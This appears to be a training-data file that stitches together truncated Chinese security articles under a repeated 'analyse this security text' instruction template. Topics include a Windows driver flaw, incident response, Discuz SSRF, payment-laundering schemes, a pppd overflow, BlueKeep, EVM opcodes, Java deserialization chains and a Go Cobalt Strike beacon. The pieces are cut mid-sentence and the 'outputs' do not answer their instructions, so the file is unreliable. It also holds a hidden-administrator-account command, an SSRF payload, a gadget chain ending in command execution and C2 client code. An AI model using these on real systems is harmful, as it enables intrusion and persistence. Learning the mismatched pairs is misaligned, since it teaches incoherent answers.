随着微软不断加固内核安全、提升原生内核组件的漏洞利用难度，现在第三方内核驱动正逐渐成为攻击者的首选目标，也是安全分析人员的重点研究对象。已签名的第三方驱动中的漏洞可能会造成非常重大影响：攻击者可以滥用该漏洞来提升权限，或者绕过驱动程序强制签名机制（这是更为常见的一种做法），无需在操作系统中使用更为珍贵的0-day内核漏洞。
计算机厂商通常会向用户附带提供便于设备管理的一些软件及工具，这些软件和工具（包括驱动）通常会包含运行在内核ring-0层的组件。由于这些组件会默认安装，因此在安全方面必须与内核保持一致：即便其中某个组件存在缺陷，也可能成为整个内核安全的致命弱点。
我们在分析[Microsoft Defender Advanced Threat
Protection](https://www.microsoft.com/en-us/windowsforbusiness/windows-atp?ocid=cx-blog-mmpc)内核传感器模块生成的警告时就找到了这样一个驱动。经过跟踪定位，我们发现这种异常行为存在于Huawei研发的某个设备管理驱动中。经过深入挖掘，我们发现该设备存在一个本地提权漏洞。
反馈该漏洞后（漏洞编号为CVE-2019-5241），Huawei方面积极响应，整个合作过程非常迅速且专业。2019年1月，Huawei发布了[修复程序](https://www.huawei.com/en/psirt/security-advisories/huawei-sa-20190109-01-pcmanager-en)。在本文中，我们将与大家分享我们从调查ATP警告到发现漏洞、最终与厂商合作以保护客户安全的完整过程。
## 二、使用Microsoft Defender ATP检测内核发起的代码注入
从Windows 10 1809版本开始，系统在内核中新部署了一些传感器，用来跟踪由内核代码执行的User
APC代码注入操作，能更更好地分析DOUBLEPULSAR之类的内核漏洞利用技术。在之前的一篇深入分析[报告](https://cloudblogs.microsoft.com/microsoftsecure/2017/06/30/exploring-the-crypt-analysis-of-the-wannacrypt-ransomware-smb-exploit-propagation/)中我们提到，DOUBLEPULSAR是WannaCry勒索软件使用的一个内核后门，用来将主功能payload注入用户空间（user-space）。DOUBLEPULSAR会将payload从内核拷贝到`lsass.exe`中的一块可执行内存区域，将User
APC插入某个目标线程，并将`NormalRoutine`指向这一块内存区域。
图1. WannaCry User APC注入技术示意图
虽然User APC代码注入技术并不罕见（参考[Conficker](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32/Conficker)或[Valerino](https://community.osr.com/discussion/88852)之前提供的proof-of-concept），但想检测运行在内核中的安全威胁并非易事。自从Windows引入PatchGuard以来，用户再也无法hook
NTOSKRNL，驱动程序无法通过公开的方式获取关于上述操作的任何通知。因此，如果没有更好的选择，可采取的唯一策略就是内存取证技术，而这可能是非常复杂的一个过程。
这些新部署传感器的目标正是为了解决这类内核威胁。Microsoft Defender
ATP利用这些传感器来检测由内核代码发起的可疑操作，这些操作最终可能会将代码注入用户模式（user-mode）中，我们也是因为某次可疑操作才开始这次调查之旅。
## 三、分析来自内核的异常代码注入行为
当监控与内核模式攻击有关的告警信息时，我们注...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 应急响应入门篇-windows分析排查技术（下）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> windows应急响应实际分析
## 1-进程分析-可疑进程发现与关闭
**概念** ：
计算机与外部网络通信是建立在TCP或者UDP协议上的，并且每一次通信都是具有不同的端口（0-65535）。如果计算机被上传木马后，肯定会与外部网络通信，那么此时就可以通过查看网络连接状态，找到对应的进程id，然后关闭进程id并关闭连接状态。
1.netstat -ano | find “ESTABLISHED” //查看网络建立连接状态
2.tasklist /svc | find “PID” 查看具体PID进程对应的程序
3.taskkill /PID pid值 /T 关闭进程
## 2-异常计划任务排查
**主要是对系统信息的windows计划任务进行排查**
在计算机中可以通过设定计划任务，在固定时间执行固定操作，一般情况下，恶意代码也有可能在
固定的时间设置执行。
使用at命令可以对计划任务进行管理，直接输入at可以查看当前计算机中保存的计划任务。
1.使用at命令查看计算机中保存的计划任务。
2.也可以在可视化的任务管理器进行查看。
3.可以选中运行的任务，然后进行查看详细信息。
4.查看详细内容
5.可以对异常任务进行停止。
## 3- 隐藏账号发现与删除
隐藏账号，是指“黑客”之后为了能够持久保持对计算机访问，而在计算机系统中加建立的不轻易被发现的计算机账户。
最为简单的隐藏账户建立: net user test$ test /add && net localgroup aministrator test$
/add 其中 $ 符号可以导致管理员在使用net user 时， 无法查看test$用户。
1.使用net user test$ test /add建立临时用户
2.然后在计算机管理-用户里面查看新建的临时用户。
3.使用net user查看临时用户是否存在。
4.添加一个新临时用户，然后设置本地组。
5.查看其属性。
6.切换用户，然后登录
7.使用whoami查看用户id。
8.然后在计算机管理查看临时用户属性，发现他隶属于管理员。
9.防御措施就是发现临时用户，带有特殊符号的，将其删除。
2.注册表临时用户
1.先进入注册表，然后找到SAM，分配权限。
2.先建立一个临时用户
3.然后将管理员的文件，加到临时用户上。
## 4- 恶意进行-发现与关闭
恶意代码在windows系统中运行过程中，将以进程的方式进行展示，其中恶意进程执行着各种恶意行为，对于可执行程序，可以执行使用杀毒软件进行查杀，但是并非所有的恶意程序能够被查杀。此时可以手动查杀，使用工具psexplore，然后利用virustotal.com进行分析。对恶意程序相关的服务进行关闭。
1.使用psexplore进行分析
2.找到可疑程序，然后查找具体位置。
3.然后在服务里面查看，如果是可疑程序，将它停止。
## 5- 系统信息 -补丁查看与更新
windows系统支持补丁以修补漏洞。可以使用systeminfo查看系统信息，并展示对应的系统补丁信息
编号，也可以在卸载软件中查看系统补丁和第三方软件补丁。
第一种：使用systeminfo查看具体信息。
2.然后在卸载更新里面查看更新补丁。
3.win10 更新补丁的方法。
使用win+I快捷键 更新补丁。其他版本的windows也具有windows update的相关操作。
## 6-webshell发现与查杀
1：D盾专为IIS设计的一个主动防御的保护软件,以内外保护的方式 防止网站和服务器给入侵,在正常运行各类网站的情
况下，越少的功能，服务器越安全的理念而设计！ 限制了常见的入侵方法，让服务器更安全!
<http://www.d99net.net/index.asp>
2.河马webshell查杀：<http://www.shellpub.com>
3.深信服Webshell网站后门检测工具：<http://edr.sangfor.com.cn/backdoor_detection.html>
4.Safe3：<http://www.uusec.com/webshell.zip>
## 总结：
本文主要从可疑进程的发现、异常任务的排查、隐藏账户的发现、恶意程序的发现、系统补丁的查看及webshell的查杀来构思。


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

**作者：天融信阿尔法实验室
原文链接：<https://mp.weixin.qq.com/s/TRCdXZU8v1NsbFhZKLa1Qw>**
## 0x00 漏洞信息简介
* * *
Crossday Discuz! Board（简称
Discuz!）是北京康盛新创科技有限责任公司推出的一套通用的社区论坛软件系统。自2001年6月面世以来，Discuz!已拥有15年以上的应用历史和200多万网站用户案例，是全球成熟度最高、覆盖率最大的论坛软件系统之一。目前最新版本Discuz!
X3.4正式版于2017年8月2日发布，去除了云平台的相关代码，是 X3.2
的稳定版本。此次漏洞位于`/source/module/misc/misc_imgcropper.php`中的54行处的`$prefix`可控导致SSRF。
文章参考[Discuz x3.4 前台 SSRF 分析](https://paper.seebug.org/756/ "Discuz x3.4 前台
SSRF 分析")。该漏洞公开时间为2018年12月3日，文章地址为[Discuz
x3.4前台SSRF](https://www.cnblogs.com/iamstudy/articles/discuz_x34_ssrf_1.html
"Discuz
x3.4前台SSRF")，由于该文章存在密码，可以查看转载地址：[文章转载地址](https://www.codercto.com/a/43029.html
"Discuz x3.4前台SSRF转载")
## 0x01 漏洞详细分析
* * *
Discuz开源地址为[Gitee](https://gitee.com/Discuz/DiscuzX/ "Discuz")，使用git clone
克隆到本地
    git clone https://gitee.com/Discuz/DiscuzX
根据[补丁提交记录](https://gitee.com/Discuz/DiscuzX/commit/41eb5bb0a3a716f84b0ce4e4feb41e6f25a980a3
"补丁提交记录")来切换到漏洞修复前的前一个commit版本
    git checkout a5c1b95dc4464ee3da0ebd4655d30867f85d6ae9
本地搭建好运行环境之后首先访问页面`http://www.a.com/dz/DiscuzX/upload/misc.php?mod=imgcropper`，然后点击裁切按钮并抓包
拦截之后重放数据包在提交内容位置添加参数`cutimg`和`picflag`，红框处填写需要请求的IP地址并发送数据包
    &cutimg=/dz/DiscuzX/upload/member.php%3fmod%3dlogging%26action%3dlogout%26referer%3d//c%2523%2540192.168.163.131%26quickforward%3d1&picflag=2
这时服务器将成功收到请求
下面来看看后端是怎么处理的，断点地址为`source/module/misc/misc_imgcropper.php`line
54。当传递的`picflag`为`2`时取`$_G['setting']['ftp']['attachurl']`变量的值`"/"`。接下来55行接收拼接可控变量`cutimg`。
既然可控，那么就要看看它后面是怎么处理的，来到Thumb方法
进入`init`方法，到达`parse_url`方法后在`source`中解析出了`host`。此时就会进入`dfsockopen`
    //dz/DiscuzX/upload/member.php?mod=logging&action=logout&referer=//c%23%40192.168.163.131&quickforward=1
parse_url支持//baidu.com/s这种形式的url解析
继续跟进`dfsockopen`方法，在该方法中又进行了解析，处理同上，由于不存在协议所以`scheme`为`null`，这样在最后拼接出来的URL就是`://xx.com/`，这样的链接会自动补上协议，所以最后为`http://://xx.com/`。
在windows中使用`curl`请求该地址最终解析到了192.168.163.1，也就是某个网卡的本地地址。请求路径为`http://192.168.163.1/xx.com`
此时我们能够进行内网请求，但是地址并不可控，所以需要找到一个discuz可以进行任意url跳转的漏洞，再请求该路径跳转出去。discuz在退出的时候会取...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 利用收款二维码为网络犯罪“开绿灯“，到底是谁在为黑灰产“输血”？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
早前，通过产业挖掘分析，兼职人员过于频繁进行多笔小额资金支付，可能会引起支付平台的风控警觉，遭遇冻卡、断卡风险，那诈骗窝点是如何解决支付难题的呢？为此，我们深入研究了“跑分”“代付”行平台和相关产业运作。
## “代收”型跑分平台
指的是跑分平台以网赚为名，进行兼职众包，吸引兼职客向跑分平台提供收款二维码，跑分平台再提供给博彩平台，充当收款账户，赌客完成赌资后，跑分平台给予兼职客佣金。
由于兼职客在跑分平台进行兼职任务时，需缴纳保证金，也保障了跑分平台和赌博平台的资金安全。利用白账户进行赌资流转，既规避了风控监管，又大大提高转账成功率。跑分平台无需过度担忧洗钱资金池的银行卡被冻结的问题，为后期跑分平台与黑产/诈骗团伙利益分成转账，提供了充足的时间。
模式一：人民币. 支付宝、微信等收款二维码
模式二：数字货币. 支付宝、微信等收款二维码
模式三：代收型跑分（USDT虚拟货币）
USDT（泰达币）是由某外国公司发行的区块链数字货币，以1:1的比例锚定美元。
简单理解，就是对标美元自发行的数字货币，货币本身具有价值，可以交易买卖。
目前三种代收型跑分平台，目标客户都是赌博平台。跑分平台与赌博平台多为同一个团伙运营，主要是解决赌博平台的资金周转和洗钱问题。三者的区别在于，跑分客向跑分平台提供的收款账户和抵押物形式不同：
Ø前两种模式，在跑分平台抵押的是人民币，相当于赌资变现获得了人民币。
Ø第三种模式，虚拟货币的隐蔽性，USDT的稳定性受到了赌博产业的追捧，跑分平台将充值码、抵押物更换成USDT。一方面，赌客可以通过USDT充值赌资，一方面，赌博平台可以将USDT进行流转。
以上可以看出，目前黑产已不局限于使用接码平台、个人养号、水房等方式进行资产归集，而是使用众包的方式进行资产风险转移。通过对洗钱环节的深入研究发现，诈骗分子收款方式更为隐蔽，使用的第四方式支付用到了免签监控APP、自动转账APP。
## 首先，介绍一下什么是“第四方支付”？
人们已习惯将支付宝、微信支付等一类的网络支付称为第三方支付。通常情况，第三方支付需要获得央行的支付业务许可证，也就是支付牌照，有了牌照，才能开门营业（开展收款业务）。
第四方支付，本质是在第三方支付的基础上，融合了多方支付通道，所以不管用户用什么通道付款，都可以完成支付。过程中不直接触碰资金，近几年多被用作网络黑灰产业洗钱的重要工具。
图片来自网络
## 免签支付（收款）
若黑产搭建发卡平台贩卖黑产商品，由于个人无法申请微信和支付宝接口，收款方式为个人二维码。当买家付款时，发卡平台无法将订单与买家对应，这时就需要用到免签支付，利用监控APP做支付回调通知，把支付订单与买家“对上号”。
**免签收款闭环**
**使用“免签”，首先要安装监控APP布“环境”**
在第四方支付平台申请商户账户时，需要上传个人收款二维码（支付宝/微信），获得商户ID、支付密钥、支付接口地址；在监控APP中填写商户ID、支付密钥、支付接口，开启支付宝通知栏通知权限，完成联调（检测心跳）。
这样将个人收款二维码上传至收款渠道（博彩、发卡等），用户向该二维码支付时，支付宝收到支付通知，第四方平台可查看到支付订单记录。
**产业衍生**
由于平台风控，黑灰产使用第三方支付进行收款，账户很容易被冻结。如何让用户扫码支付的资金不经过第三方账号而直接流转至银行账户呢？这里就用到了
**“支付宝转卡”** ，即扫码支付二维码后，由原先的，跳转到“转至支付宝账户”，变成跳转至“转账至银行卡界面”。
正常情况下，支付宝扫码支付
支付宝转卡直接跳转至银行卡界面
斩断黑产资金链，摧毁黑产迅速变现能力，已成为从根源上打击治理网络犯罪工作的重中之重。以第四方支付为主的非法结算上下游链条，直接影响了资金流向。因此，持续加强对资金变现环节打击力度，遏制住不法资金向外流转的可能，也是相关单位组织及平台的重点努力方向。


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

### 0x0 背景
pppd是一个通过串行接口连接的点对点协议（PPP）
github地址 ：<https://github.com/paulusmack/ppp>
在ppp 2.4.2 - 2.4.8版本有一个栈溢出漏洞，我试着分析了整个过程
### 0x1复现整个过程
准备两台ubuntu的虚拟机(我用的virtualbox)，设置启用串口功能。分别在两台虚拟机上git
clone一份ppp，并回滚到有漏洞版本，编译安装。例如
    git clone https://github.com/paulusmack/ppp.git
    cd ppp
    git checkout ppp-2.4.8
    ./configure
    make
    make install
开启服务端的md5认证(MD5-Challenge)
打开文件/etc/ppp/chap-secrets添加下面内容
    admin   *       password        *
服务端启动pppd程序
    pppd /dev/ttyS0 9600 auth local lock defaultroute debug nodetach 172.16.1.1:172.16.1.2 ms-dns 8.8.8.8 require-eap
客户端启动pppd程序
    pppd noauth local lock defaultroute debug nodetach /dev/ttyS0 9600 user aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbb password notpassword
下图我们发现程序没有崩溃，服务端打印出的username只有255个字节，我们输入的username255+5个字节，可惜这不是服务端对接收的内容进行的验证，这是在客户端限制了用户输入的用户名长度
### 0x2 漏洞分析
pppd进行MD5-Challenge的时候，通过eap_chap_response把密码hash、用户名和用户名长度一起发送到了服务端，用户名保存在一个256大小的栈变量中。
所以在我们上边的测试中，其实只发送了255长度的username到服务端。
    6     typenum = id;
       5     MD5_Update(&mdContext, &typenum, 1);
       4     MD5_Update(&mdContext, (u_char *)secret, secret_len);
       3     BZERO(secret, sizeof (secret));
       2     MD5_Update(&mdContext, inp, vallen);
       1     MD5_Final(hash, &mdContext);
    1454     ** eap_chap_response(esp, id, hash, esp->es_client.ea_name,
       1         esp->es_client.ea_namelen);
       2     break;
    787    eap_authwithpeer(unit, user);
    20 void
      19 eap_authwithpeer(unit, localname)
      18 int unit;
      17 char *localname;
      16 {
      15   eap_state *esp = &eap_states[unit];
      14
      13   /* Save the peer name we're given */
      12   esp->es_client.ea_name = localname;
      11   esp->es_client.ea_namelen = strlen(localname);
      10
       9   esp->es_client.e...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

在Microsoft的`May Patch Tuesday`周报中发布了针对远程桌面协议（RDP）中的漏洞安全公告。在这个补丁报告中，微软为Windows
XP和其他几个操作系统提供了修复报告，然而这些操作系统多年里并没有得到非常安全的补丁更新支持。这就是为何微软将此漏洞设定为高危的原因所在。
根据该通报，我们发现此问题非常严重，能够导致远程执行代码并非常容易被攻击者利用，这意味着它可以在未受保护的系统上进行自动传播。该公告使用了网络蠕虫“`WannaCry`”的通告方法，该漏洞在2017年3月微软发布MS17-010作为相关漏洞的补丁后仅几个月就被大量利用。`McAfee
Advanced Threat
Research`一直在分析这个最新的bug以帮助预防类似的情况，我们敦促那些未修补和受影响的系统尽快应用CVE-2019-0708补丁。恶意行为者极有可能部署此漏洞，并且在不久的将来可能会将其发布到网络用于攻击。
易受攻击的操作系统：
  * Windows 2003
  * Windows XP
  * Windows 7
  * Windows Server 2008
  * Windows Server 2008 R2
蠕虫是主要在网络上复制的病毒。蠕虫通常会在远程计算机上自动执行，而无需用户提供任何额外帮助。如果病毒的主要攻击媒介是通过网络，那么它就被归类为蠕虫病毒。
远程桌面协议（RDP）支持客户端和端点之间的连接，定义虚拟通道之间通信的数据。虚拟通道是双向数据管道，可以扩展`RDP`。 `Windows Server
2000`使用`RDP 5.1`定义了32个静态虚拟通道（SVC），但由于定动态虚拟通道（DVC）的通道数量存在限制，这些通道包含在专用SVC中。
SVC在会话开始时创建并保持到会话终止，这与需要创建和拆除的DVC不同。
下图为32个SVC绑定信息，`CVE-2019-0708`补丁修复了RDP驱动程序`termdd.sys`中的`_IcaBindVirtualChannels`和`_IcaRebindVirtualChannels`函数。如图所示，RDP连接序列连接在安全开始之前启动并进行通道设置，这使得`CVE-2019-0708`可以对其进行设置，因为它可以在发现开放端口`3389`后通过网络自我传播。
该漏洞是由于`“MS_T120”SVC`名称在RDP协议的GCC初始化期间被绑定为数字`31`的参考信道。
此通道名称在Microsoft内部使用，并且客户端没有合法用例来请求名为`“MS_T120”`的`SVC`连接。
图2显示了没有`MS_T120`信道的`GCC`初始化序列合法信道请求。
但是，在`GCC`初始化期间，客户端所提供的服务器中并未列入白名单的频道名称，这意味着攻击者可以在31以外的频道上设置另一个名为“`MS_T120`”的SVC。在31以外的频道中使用`MS_T120`
会导致堆内存损坏和远程代码执行（RCE）。
图3显示了GCC会议初始化序列期间的异常信道请求，其信道号为4且名称为“MS_T120”。
图4展现了`MS_T120`通道管理中涉及的`.MS_D120`组件是如何在引用通道`rdpwsx.dll`和`rdpwp.sys`中完成堆分配并创建。
当在31以外的通道索引的上下文中处理`MS_T120`引用通道时，堆损坏发生在`termdd.sys`中。
现在，如图所示的`Microsoft`补丁使用通道名称“`MS_T120`”添加了对客户端连接请求的检查，并确保它在`termdd.sys`中的`_IcaBindVirtualChannels`和`_IcaRebindVirtualChannels`函数中仅绑定到通道31（1Fh）。
在我们调查了`Windows
2003`和`XP`的补丁并了解了如何在补丁之前和之后解析RDP协议后，我们决定创建并测试一个验证脚本（PoC），它将使用该漏洞并远程执行代码在受害者的机器上启动计算器应用程序。
在我们的设置中，`RDP`在计算机上运行，我们确认测试版本的操作系统上运行了未修补的版本。
通过我们的调查，我们可以确认漏洞利用是否正常，并且可以在没有身份验证的情况下在易受攻击的系统上远程执行代码。
如果启用，网络级别身份验证应该有效地阻止此漏洞利用。但是，如果攻击者拥有验证凭证，他们将绕过此步骤。
由于补丁可用，我们决定不提供有关漏洞的更深入的详细信息或公开发布POC。
  * 我们可以确认修补后的系统会阻止该漏洞，并强烈建议用户尽快修补。
  * 从网络外部禁用RDP并在内部对其进行限制。 禁用RDP时，漏洞利用不成功。
  * 除非有合法使用案例的证据，否则应阻止在RDP协议的GCC会议初始化序列期间在31以外的任何通...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

作者：Hcamael@知道创宇404区块链安全研究团队
在我们对etherscan等平台上合约进行安全审查时，常常会遇到没有公布Solidity源代码的合约，只能获取到合约的OPCODE，所以一个智能合约的反编译器对审计无源码的智能合约起到了非常重要的作用。
目前在互联网上常见的反编译工具只有[porosity](https://github.com/comaeio/porosity
"porosity")[1]，另外在Github上还找到另外的反编译工具[ethdasm](https://github.com/meyer9/ethdasm
"ethdasm")[2]，经过测试发现这两个编译器都有许多bug，无法满足我的工作需求。因此我开始尝试研究并开发能满足我们自己需求的反编译工具，在我看来如果要写出一个优秀的反汇编工具，首先需要有较强的OPCODE逆向能力，本篇Paper将对以太坊智能合约OPCODE的数据结构进行一次深入分析。
#### 基础
智能合约的OPCODE是在EVM(Ethereum Virtual Machine)中进行解释执行，OPCODE为1字节，从`0x00 -0xff`代表了相对应的指令，但实际有用的指令并没有0xff个，还有一部分未被使用，以便将来的扩展
具体指令可参考[Github](https://github.com/trailofbits/evm-opcodes
"Github")[3]上的OPCODE指令集，每个指令具体含义可以参考[相关文档](http://solidity.readthedocs.io/en/v0.4.21/assembly.html
"相关文档")[4]
#### IO
在EVM中不存在寄存器，也没有网络IO相关的指令，只存在对栈(stack)，内存(mem), 存储(storage)的读写操作
  * stack
使用的push和pop对栈进行存取操作，push后面会带上存入栈数据的长度，最小为1字节，最大为32字节，所以OPCODE从`0x60-0x7f`分别代表的是`push1-push32`
`PUSH1`会将OPCODE后面1字节的数据放入栈中，比如字节码是`0x6060`代表的指令就是`PUSH1 0x60`
除了`PUSH`指令，其他指令获取参数都是从栈中获取，指令返回的结果也是直接存入栈中
  * mem
内存的存取操作是`MSTORE`和`MLOAD`
`MSTORE(arg0, arg1)`从栈中获取两个参数，表示`MEM[arg0:arg0+32] = arg1`
`MLOAD(arg0)`从栈中获取一个参数，表示`PUSH32(MEM[arg0:arg0+32])`
因为`PUSH`指令，最大只能把32字节的数据存入栈中，所以对内存的操作每次只能操作32字节
但是还有一个指令`MSTORE8`，只修改内存的1个字节
`MSTORE(arg0, arg1)`从栈中获取两个参数，表示`MEM[arg0] = arg1`
内存的作用一般是用来存储返回值，或者某些指令有处理大于32字节数据的需求
比如: `SHA3(arg0,
arg1)`从栈中获取两个参数，表示`SHA3(MEM[arg0:arg0+arg1])`，SHA3对内存中的数据进行计算sha3哈希值，参数只是用来指定内存的范围
  * storage
上面的stack和mem都是在EVM执行OPCODE的时候初始化，但是storage是存在于区块链中，我们可以类比为计算机的存储磁盘。
所以，就算不执行智能合约，我们也能获取智能合约storage中的数据:
    eth.getStorageAt(合约地址, slot)
    # 该函数还有第三个参数，默认为"latest"，还可以设置为"earliest"或者"pending"，具体作用本文不做分析
storage用来存储智能合约中所有的全局变量
使用`SLOAD`和`SSTORE`进行操作
`SSTORE(arg0, arg1)`从栈中获取两个参数，表示`eth.getStorageAt(合约地址, arg0) = arg1`
`SLOAD(arg0)`从栈中获取一个参数，表示`PUSH32(eth.getStorageAt(合约地址, arg0))`
#### 变量
智能合约的变量从作用域可以分为三种, 全局公有变量(public), 全局私有变量(private), 局部变量
全局变量和局部变量的区别是，全局变量储存在storage中，而局部变量是被编译进OPCODE中，在运行时，被放在stack中，等待后续使用
公有变量和私有变量的区别是，公有变量会被编译成一个constant函数，后面会分析函数之前的区别
因为私有变量也...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Java反序列化利用链分析之CommonsCollections2,4,8
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
前面几篇文章，分析了CommonsCollections:3.2.1版本以下存在的反序列化链。今天将继续分析CommonsCollections:4.0版本，主要讲述CommonsCollections2，4，8的利用链构造。
## 0x01 前景回顾
commons-collections:4.0版本其实并没有像3.2.2版本的修复方式一样做拉黑处理，所以在3.2.1及以下的利用链改改还是可以用的。
例如CommonsCollections5
    final Map<String, String> innerMap = new HashMap();
    final Map lazyMap = LazyMap.lazyMap(innerMap, transformerChain);
将innerMap改成键值对的申明方式即可，但是大家是不是还记得，除了用LazyMap的方式，CommonsCollections3曾提到过使用`TrAXFilter`类初始化的方式来载入任意的class
bytes数组。
这里commons-collections:4.0版本下的利用链，用的都是TemplatesImpl作为最终的命令执行的代码调用，由于前面分析过这个利用方式，后文不再复述。
## 0x02 利用链分析
###  1\. CommonsCollections2,4
CommonsCollections2,4都用到了一个新的类`PriorityQueue`的`Comparator`来触发`transform`函数，两者的区别在于中间的桥接用的不同的Transformer对象。先来看一下`PriorityQueue.readObject`
框框里的主要工作为反序列化恢复该对象的数据，我们重点关注`heapify()`
继续跟进`siftDown`
当我们在实例化对象时提供了`comparator`，将会来到我们最终触发compare的位置，看一下`siftDownUsingComparator`
这里调用了我们传入的comparator，并调用其compare，利用链中使用了`TransformingComparator`,来看一下它的compare函数
调用了当前的transformer的transform函数，看到这里，其实已经很熟了，前面分析的很多利用链都跟transform有关，并且4.0版本并没有拉黑相关的transformer。所以接下来，我们就可以用前面的一些思路了。
1.CommonsCollections2
CommonsCollections2利用了InvokerTransformer类的任意类函数调用的transform，传入构造好的templates
gadget并调用 `TemplatesImpl.newTransformer`
2.CommonsCollections4
CommonsCollections4后续用的方法同CommonsCollections3一样，用`InstantiateTransformer`来触发`TrAXFilter`的初始化，最终也将调用`TemplatesImpl.newTransformer`
整理一下利用链
    CommonsCollection2:
    PriorityQueue.readObject
        -> PriorityQueue.heapify()
        -> PriorityQueue.siftDown()
        -> PriorityQueue.siftDownUsingComparator()
        -> TransformingComparator.compare()
        -> InvokerTransformer.transform()
        -> TemplatesImpl.newTransformer()
        ... templates Gadgets ...
        -> Runtime.getRuntime().exec()
    CommonsCollection4:
    PriorityQueue.readObject
        -> PriorityQueue.heapify()
        -> PriorityQueue.siftDown()
        -> PriorityQueue.siftDownUsingCo...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

### 0x01 写在前面
项目地址: <https://github.com/darkr4y/geacon>
项目说明:
这都说了啥...
这是一个用Golang写的弹beacon会话的工具,相对其他项目来说，这个项目算是老老实实的拟真cs通讯，正好在拿go写c2，看下逻辑学习一下。
CS相关的Golang项目可参考：
<https://github.com/Lz1y/GECC>
<https://github.com/gloxec/CrossC2>
<https://github.com/wahyuhadi/beacon-c2-go>
代码目录：
    ├─cmd
    │  │  main.go                             //主程序
    │  │
    │  ├─config
    │  │      c2profile.go
    │  │      config.go                       //c2配置
    │  │
    │  ├─crypt
    │  │      aes.go
    │  │      rand.go
    │  │      rsa.go
    │  │
    │  ├─packet
    │  │      commands.go
    │  │      http.go
    │  │      packet.go
    │  │
    │  ├─sysinfo
    │  │      meta.go
    │  │      sysinfo_darwin.go
    │  │      sysinfo_linux.go
    │  │      sysinfo_windows.go
    │  │
    │  └─util
    │          util.go
    │
    ├─scripts
    │      icons.cna                           //cs脚本
    │
    └─tools
        └─BeaconTool                           //Beacon RSA生成工具
### 0x02 代码分析
主程序mian.go在cmd目录下:
    package main
    import (
        "bytes"
        "fmt"
        "geacon/cmd/config"
        "geacon/cmd/crypt"
        "geacon/cmd/packet"
        "geacon/cmd/util"
        "io"
        "os"
        "time"
    )
    func main() {
        ok := packet.FirstBlood()
        if ok {
            for ; ;  {
                resp := packet.PullCommand()
                if resp != nil {
                    totalLen := resp.Response().ContentLength
                    if totalLen > 0 {
                        hmacHash := resp.Bytes()[totalLen - crypt.HmacHashLen :]
                        fmt.Printf("hmac hash: %v\n", hmacHash)
                        //TODO check the hmachash
                        restBytes := resp.Bytes()[ : totalLen - crypt.HmacHashLen]
                        decrypted := packet.DecryptPacket(restBytes)
                        timestamp := decrypted[:4]
                        fmt.Printf("timestamp: %v\n",timestamp)
                        lenBytes := dec...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# MacOS/iOS CVE-2019-6231 漏洞深入分析
|
##### 译文声明
本文是翻译文章，文章原作者 fortinet，文章来源：fortinet.com
原文地址：<https://www.fortinet.com/blog/threat-research/detailed-analysis-of-macos-ios-vulnerability-cve-2019-6231.html>
译文仅供参考，具体内容表达以及含义原文为准。
CVE-2019-6231 漏洞是一个 QuartzCore 框架中处理图像时产生的整数溢出漏洞，具体的位置在
_CA::Render::Image::decode()_ 函数中。
2019年1月22日，苹果发布了 macOS Mojave 10.14.3 以及 iOS 12.1.3，这次更新修复了许多安全漏洞，其中就包括
CVE-2019-6231 漏洞。
18年的12月14日，我曾经在 macOS Mojave 10.14.2 中发现了这个漏洞，并且在21日报告给了苹果。
然而遗憾的是，苹果回应这个问题已经在 macOS Mojave 10.14.3 beta 中被修复了，而这个版本是在12月19日发行的。
接下来，本文将对这个漏洞展开详细的分析。
## 漏洞概览
QuartzCore 是一个 macOS 和 iOS 用来渲染动画场景图形的框架，有时候也被成为 CoreAnimation。
QuartzCore 的渲染模式非常特别，它的图形操作都是运行再一个单独的进程中。
在 macOS 中，这个进程是 WindowServer， 在 iOS 中，这个进程是 backboard 。
QuartzCore 中有个一服务 com.apple.CARenderServer (也被称为 CARenderServer) 可以在 Safari
的沙箱中被访问， 并在 macOS 和 iOS 中都存在。
这个服务中有一个函数 _CA::Render::Image::decode()_ ，用来为 QuartzCore 解析 Image
对象。然而，这个函数在解析 Image 对象时，存在一个整型溢出漏洞。
这个可能会导致一个恶意的应用对受限内存的访问。
以下就是 WindowServer 进程在触发漏洞时的日志。
    Process:               WindowServer [57329]
    Path:                  /System/Library/PrivateFrameworks/SkyLight.framework/Versions/A/Resources/WindowServer
    Identifier:            WindowServer
    Version:               600.00 (337.5)
    Code Type:             X86-64 (Native)
    Parent Process:        launchd [1]
    Responsible:           WindowServer [57329]
    User ID:               88
    Date/Time:             2018-12-14 16:51:08.093 -0800
    OS Version:            Mac OS X 10.14.2 (18C54)
    Report Version:        12
    Anonymous UUID:        0D2EB0AC-26C3-9DBB-CEF0-0060FA5B3A8B
    Sleep/Wake UUID:       7F5E9869-8B81-4B2F-8BBC-54048DE83A26
    Time Awake Since Boot: 15000 seconds
    Time Since Wake:       7000 seconds
    System Integrity Protection: disabled
    Crashed Thread:        2  com.apple.coreanimation.render-server
    Exception Type:        EXC_BAD_ACCESS (SIGSEGV)
    Exception Codes:       KERN_INVALID_ADDRESS at 0x0000008000000018
    Exception Note:      ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

### 一、DAO项目介绍
DAO（Decentralized Autonomous
Organization）是一种通过智能合约将个体与个体、个人与组织、或组织与组织联系在一起的新型组织形式。The
DAO项目于2016年4月30日开始，融资窗口开放了28天。The
